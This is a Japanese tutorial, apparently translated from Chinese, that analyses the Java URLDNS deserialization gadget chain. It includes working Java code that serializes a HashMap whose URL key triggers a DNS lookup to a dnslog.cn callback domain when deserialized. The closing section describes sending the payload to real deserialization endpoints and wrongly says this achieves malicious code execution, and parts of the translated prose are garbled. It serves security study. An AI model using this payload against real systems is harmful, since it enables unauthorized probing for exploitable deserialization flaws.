チェーンEXPで書かれたURLDNSのソースコード解析
この記事は、特定の Java の基礎を必要とし、Java リフレクションに関連する内容を理解する必要があります。URLDNS 利用チェーンは、Java のシリアル化および逆シリアル化の脆弱性研究の入門ケースに適しています。ここでは、Java のシリアル化およびデシリアル化の脆弱性の本質を学び、EXP の書き方のアイデアや実践的な活用アイデアを学ぶことができます。
記事ディレクトリ
概要
URLDNS チェーンの本質は、ドメイン名解決を使用する URL で hashCode メソッドを使用することです。hashCode メソッドは、HashMap 逆シリアル化を利用して readObject() メソッドを呼び出すときにハッシュ値を計算するために使用されるため、URL を HashMap に入れることができ、それによって HashMap が逆シリアル化されるときに URL の hashCode メソッドを間接的に呼び出すことができます。
ソースコード分析
HashMapのreadObject()の解析
ソースコード分析:
HashMap はシリアル化可能な Serializable インターフェイスを実装しており、キーは readObject() メソッドで呼び出されます。
URLクラス分析
ソースコード分析:
URL クラスはシリアル化できます
hashCode 属性のデフォルトは -1 です
hashCodeの値に基づいてハッシュ値を計算します
次に、ハンドラーの hashCode ソース コードを確認します。
getHostAddress() メソッドを見てみましょう。
EXPライティングのアイデア
上記のソース コード分析後の最終的な目標は、URL の hashCode メソッドを呼び出し、DNS クエリを実現することです。hashCode の値を -1 に変更するだけで、最後に getHostAddress() メソッドを入力して DNS クエリを実装できます。
DNS クエリの目的を達成するには、HashMap の readObject() メソッドを使用します。このメソッドではキーの hashCode が計算されます。キーが hashCode メソッドを書き換える場合、計算ロジックは hashCode を使用します。 () メソッドを使用するため、URL オブジェクトをキーとして hashMap に渡すことができますが、最終的に hashCode() メソッドを呼び出すためには、URL の hashCode の値が -1 である必要があるため、次のように使用できます。リフレクションは、DNS ルックアップの目的を達成するために、実行状態の URL のハッシュコードを操作します。
以下に、URLDNS チェーンの使用を再現するための EXP を記述します。
EXP書き込みの場合
環境整備
開発ツール:IDEAを推奨
JDK: JDK8 を使用することをお勧めします。JDK11 も可能です。つまり、リフレクションでプライベート プロパティの hashCode を設定するときに警告が表示されますが、プロパティの設定には影響しませんが、JDK17 では使用できないため、JDK17 は使用できません。プライベートプロパティを設定するためのリフレクション
UrlDnsSer.java
シリアル化後にエクスプロイト チェーンを構築する
構築プロセス: シリアル化できる URL を準備します --> URL の hashCode() メソッドを使用します --> hashCode の値を構築します (URL の hashCode はデフォルトで -1 であるため、シリアル化しないように設定できます)リフレクションによって -1。これは、URL のハッシュコードが put 時に呼び出されるのを避けるため、逆シリアル化された方法で呼び出すことができないようにするためです) --> 構築された URL を HashMap に入れます --> リフレクションを使用して、 URL のハッシュコードを -1 に設定 --> シリアル化
public class UrlDnsSer {
public static void main(String[] args) throws Exception {
//构造函数中的参数可以填写DNSLog生成的,也可以使用BurpSuit的Collaborator生成
URL url = new URL("http://0kdhkf.dnslog.cn");
//URL中调用hashCode的时候会访问dns
Class cls = url.getClass();
Field hashCode = cls.getDeclaredField("hashCode");
hashCode.setAccessible(true);
//将URL的hashCode设置为不是-1,就不会在put的时候调用hashCode访问dns了
hashCode.set(url,222);
HashMap<URL, Integer> map = new HashMap<>();
map.put(url,3);
//将URL的hashCode设置为-1,是为了在反序列化的时候调用URL的hashCode访问dns
hashCode.set(url,-1);
serialize(map);
}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
}
UnUrlDnsSer.java
利用処理:ハッシュマップのデシリアライズ --> HashMap の readObject() を呼び出す --> putVal() を呼び出す --> キーの hasCode を呼び出す --> リフレクションにより hashCode の値を -1 に変更 --> URLStreamHandler() の hashCode を呼び出すメソッド --> getHostAddress() メソッドを呼び出す --> DNS クエリ
public class UnUrlDnsSer {
public static void main(String[] args) throws IOException, ClassNotFoundException {
unSerialize();
}
public static void unSerialize() throws IOException, ClassNotFoundException {
ObjectInput oos = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = oos.readObject();
System.out.println(obj);
}
}
上記のコードを記述した後、UrlDnsSer クラスを実行して構築したハッシュマップをシリアル化し、次に UnUrlDnsSer クラスを実行してハッシュマップを逆シリアル化し、最後に DNSlog でドメイン名解決レコードを確認できます。
アイデアの実践
まず、逆シリアル化を行うファンクション ポイントを見つけ、シリアル化されたペイロードをそのファンクション ポイントに送信して逆シリアル化してから、URLDNS 利用チェーンを形成して悪意のあるコードの実行を完了する必要があります。